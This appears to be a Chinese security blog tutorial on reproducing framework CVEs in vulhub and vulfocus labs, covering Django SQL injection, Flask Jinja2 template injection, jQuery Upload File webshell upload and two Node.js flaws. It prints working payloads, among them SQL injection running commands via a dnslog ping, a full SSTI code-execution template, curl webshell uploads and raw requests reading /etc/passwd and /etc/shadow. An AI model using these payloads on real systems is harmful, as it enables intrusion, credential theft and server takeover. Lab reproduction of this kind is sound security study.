目录
- 服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现
- 中间件列表介绍
- 常见语言开发框架
- Python开发框架安全-Django&Flask漏洞复现
- Django开发框架
- 漏洞复现
- CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)
- CVE-2021-35042(Django QuerySet.order_by SQL注入漏洞)
- Flask Jinja2 SSTI
- 漏洞复现
- Flask(Jinja2) 服务端模板注入漏洞
- JavaScript开发框架安全-Jquery&Node漏洞复现
- jQuery框架
- 漏洞复现
- CVE_2018_9207-jQuery Upload File漏洞复现
- Node.js
- 漏洞复现
- Node.js 目录穿越漏洞(CVE-2017-14849)
- Node.js 命令执行 (CVE-2021-21315)
服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现
中间件列表介绍
中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3、开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery
5、其他框架-Java-Apache Shiro&Apache Sorl
常见语言开发框架
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等
JAVA:Spring MyBatis Hibernate Struts2 Springboot 等
Python:Django Flask Bottle Turbobars Tornado Web2py 等
Javascript:Vue.js Node.js Bootstrap JQuery Angular 等
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
应用服务安全测试流程:
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的 CVE 问题
Python开发框架安全-Django&Flask漏洞复现
Django开发框架
介绍:django(Python Web 框架)详解
Django是一个高级的Python Web框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django负责处理网站开发中麻烦的部分,可以专注于编写应用程序,而无需重新开发。它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。
Django 是一款广为流行的开源 web 框架,由 Python 编写,许多网站和 app 都基于
Django 开发。Django 采用了 MTV 的框架模式,即模型 M,视图 V 和模版 T,使用
Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且
Django 还包含许多功能强大的第三方插件,使得 Django 具有较强的可扩展性。
安全问题:
CVE_2019_14234
CVE-2021-35042
…
漏洞复现
CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)
该漏洞要求开发者使用 JSONField/HStoreField;此外,还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响,这为我们提供了一种重现漏洞的简单方法。
靶场:vulhub
参考:Django JSONField/HStoreField SQL注入漏洞复现
开启环境:
访问web界面:
首先,使用用户名和密码登录 Django-Admin。
http://your-ip:8000/admin/
账号:admin
密码:a123123123
成功登录:
然后转到模型的列表视图:
http://your-ip:8000/admin/vuln/collection/
Collection
添加到 GET 参数中,其中是 JSONField:
detail__a'b=123
detail
payload:
http://your-ip:8000/admin/vuln/collection/?detail__a'b=123
可以看到单引号注入成功,SQL语句报错:
创建 cmd_exec:
payload:
/admin/vuln/collection/?detail__title')='1' or 1=1%
20;create table cmd_exec(cmd_output text)--
执行效果:
成功创建
调用 cmd_exec 执行命令:
DNSlog获取地址
payload:
/admin/vuln/collection/?detail__title')='1' or 1=1%
20;copy cmd_exec FROM PROGRAM 'ping xxxx.dnslog.cn'--
DNSlog回显效果:
CVE-2021-35042(Django QuerySet.order_by SQL注入漏洞)
该漏洞需要开发人员使用order_by功能。此外,还可以控制查询集的输入。
靶场:vulhub
参考:Django QuerySet.order_by SQL注入漏洞复现
开启环境:
访问web界面:
首先,转到列表视图并添加到 GET 参数。
payload:
http://your-ip:8000/vuln/order=-id
执行过后会看到按 id 降序排序的数据:
payload:
目录:
/vuln/?order=vuln_collection.name);select updatexml(1, concat
(0x7e,(select @@basedir)),1)#
版本:
/vuln/?order=vuln_collection.name);select updatexml(1, concat
(0x7e,(select version())),1)#
数据库名:
/vuln/?order=vuln_collection.name);select updatexml(1, concat
(0x7e,(select database())),1)#
可以看到单括号已经注入成功,可以从错误中获取信息。
查看目录:
爆版本号:
爆数据库名:
Flask Jinja2 SSTI
介绍:Flask详解
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用
Werkzeug ,模板引擎则使用 Jinja2。Flask使用 BSD 授权。Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。
安全问题:
Flask(Jinja2) 服务端模板注入漏洞
…
漏洞复现
Flask(Jinja2) 服务端模板注入漏洞
靶场:vulhub
参考:Flask(Jinja2) 服务端模板注入漏洞复现
开启环境:
访问web界面:
接下来进行访问,http://your-ip/?name={{123*123}}
,得到15129这个结果,则说明SSTI漏洞存在。
获取eval函数并执行任意python代码的POC:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
ps:需要进行url编码,编码过后直接通过GET请求,发送即可。
执行命令处,自定义像要执行的命令,查看的信息,每次更换命令都需要进行URL编码重新发送。
其他命令:ls,whoami
执行效果:
JavaScript开发框架安全-Jquery&Node漏洞复现
jQuery框架
介绍:jQuery详解
jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。jQuery设计的宗旨是“write Less,Do More”,即倡导写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。
安全问题:
CVE_2018_9207
CVE_2018_9208
CVE_2018_9209
…
漏洞复现
CVE_2018_9207-jQuery Upload File漏洞复现
jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。 jQuery Upload File <= 4.0.2 中的任意文件上传 根目录下/jquery-upload-file
靶场:vulfocus
开启靶场:
访问web界面:
访问框架引用目录结构:
/jquery-upload-file/
利用:
一条命令即可解决,访问并上传文件。
payload:
//访问网站,进行上传;前提是在文件夹下创建后门文件。
curl -F "myfile=@shell.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"
curl -F "myfile=@cmd.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"
上传shell.php:
上传cmd.php:
查看:
上传文件所在位置:(后门为php)
/jquery-upload-file/php/uploads/
验证,可否解析执行:
使用蚁剑连接:
连接成功
其他列出的安全问题,基本都差不多。
Node.js
详解:node.js详解
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,用于方便的搭建响应
速度快、易于拓展的网络应用。Node.js对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好,V8引擎执行Javascript的速度非常快,性能非常好,基于Chrome JavaScript运行时建立的平台, 用于方便地搭建响应速度快、易于扩展的网络应用
安全问题:
CVE_2021_21315
CVE_2017_14849
…
漏洞复现
Node.js 目录穿越漏洞(CVE-2017-14849)
Joyent Node.js是美国Joyent公司的一套建立在Google V8 JavaScript引擎之上的网络应用平台。该平台主要用于构建高度可伸缩的应用程序,以及编写能够处理数万条且同时连接到一个物理机的连接代码。 Joyent Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。
漏洞原因是 Node.js 8.5.0 对目录进行
normalize
操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd
),在中间位置增加foo/../
(如../../../foo/../../../../etc/passwd
),即可使normalize
返回/etc/passwd
,但实际上正确结果应该是../../../../../../etc/passwd
。express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于
normalize
函数。比如,express在判断path是否超出静态目录范围时,就用到了normalize
函数,上述BUG导致normalize
函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。
靶场:vulfocus
参考:CVE-2017-14849复现
开启环境:
访问web界面:
其中引用到了文件/static/main.js
,说明其存在静态文件服务器。
构造请求:
通过GET请求发送以下数据包即可:
GET:
...
/static/../../../a/../../../../etc/passwd
...
完整数据包:
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.100.134:56111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
发送给重发器,然后再发送数据包过后:
(如果打开web界面抓包时,构造请求后,发包无法正常回显,状态码报错。可尝试删除cookie等相关信息,不然可能会无法正常回显,错误状态码。如果正常回显,就可以不用删除。)
效果:成功读取/etc/passwd
文件
效果:成功读取/etc/shadow
文件
Node.js 命令执行 (CVE-2021-21315)
Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息 npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞(CVE-2021-21315),其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。
靶场:vulfocus
开启环境:
访问web界面:
构造GET请求:
payload:
/api/getServices?name[]=$(echo 'rumilc666'%20> rumi.txt)
执行过后:
验证:
成功生成该文件
docker ps
docker exec -it id /bin/bash